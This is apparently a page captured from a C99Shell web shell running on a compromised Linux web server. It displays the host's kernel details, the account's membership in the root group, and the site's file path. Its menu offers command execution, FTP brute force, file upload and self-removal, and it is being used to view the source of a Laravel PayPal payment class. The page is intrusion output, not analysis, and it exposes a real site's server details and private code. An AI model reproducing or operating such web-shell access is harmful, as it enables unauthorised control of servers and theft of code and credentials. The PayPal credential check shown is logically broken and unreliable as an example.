!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/app/PaymentProvider/   drwxr-xr-x
Free 29.04 GB of 117.98 GB (24.62%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PayPalPayment.php (3.28 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php


namespace App\PaymentProvider;

use 
Exception;
use 
Illuminate\Support\Facades\Log;
use 
Omnipay\Omnipay;
use 
Illuminate\Support\Facades\Crypt;

class 
PayPalPayment implements PaymentInterface
{


    public 
$paymentId;
    public 
$request;
    public 
$redirect_url;
    public 
$error_message;
    public 
$return_view;
    public 
$will_redirect false;
    public 
$amount;
    public 
$type;
    public 
$gateway;
    public 
$data;
    public 
$credentials;


    public function 
__construct()
    {

    }

    public function 
pay(){

    }

    public function 
type($type){
        
$this->type=$type;
        return 
$this;
    }
    public function 
credentials($credentials){
        
$this->credentials=$credentials;
        return 
$this;
    }
    public function 
amount($amount){
        
$this->amount=$amount;
        return 
$this;
    }
    public function 
data($data){
        
$this->data=$data;
        return 
$this;
    }

    public function 
will_redirect()
    {
        
// TODO: Implement will_redirect() method.
        
return $this->will_redirect;
    }

    public function 
redirect_url()
    {
        
// TODO: Implement redirect_url() method.
        
return $this->redirect_url;
    }

    public function 
return_view()
    {
        
// TODO: Implement redirect_url() method.
        
return $this->return_view;
    }

    public function 
error_message()
    {
        
// TODO: Implement error_message() method.
        
return $this->error_message;
    }


    public function 
process(){

        try {
            
$credentials=$this->credentials;



            if(!isset(
$credentials['is_paypal_enabled']) && $credentials['is_paypal_enabled'] !='on' && !isset($credentials['paypal_client_id']) || !isset($credentials['paypal_secret_key'])){
                throw new 
Exception('Invalid credentials');
                
$this->error_message 'Invalid credentials';
           }

           
$paypal_client_id=$credentials['paypal_client_id'];
           
$paypal_client_secret=$credentials['paypal_secret_key'];

           
$mode = isset($credentials['paypal_mode']) && $credentials['paypal_mode'] && $credentials['paypal_mode'] == 'live' 'false' 'true';
           
$gateway Omnipay::create('PayPal_Rest');
           
$gateway->setClientId($paypal_client_id);
           
$gateway->setSecret($paypal_client_secret);
           
$gateway->setTestMode($mode);


            
$order=$this->data;
            
$trx_id=Crypt::encryptString($order->trx_id);
            
$response $gateway->purchase(array(
                
'amount' => $this->amount,
                
'currency' => 'USD',
                
'returnUrl' => route('paypal.payment.success', ['order_id'=>$order->id,'thx_id'=>$trx_id]),
                
'cancelUrl' => route('paypal.payment.cancel'),
            ))->
send();


            if (
$response->isRedirect()) {
                
$this->redirect_url $response->redirect();
                
$this->will_redirect true;
                
$this->return_view null;

                
// this will automatically forward the customer
            
} else {
                
Log::error($response->getMessage());
                
$this->error_message $response->getMessage();
            }
        } catch (
\Exception $e) {
            
Log::error($e->getMessage());
            
$this->error_message $e->getMessage();
        }


    }



}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--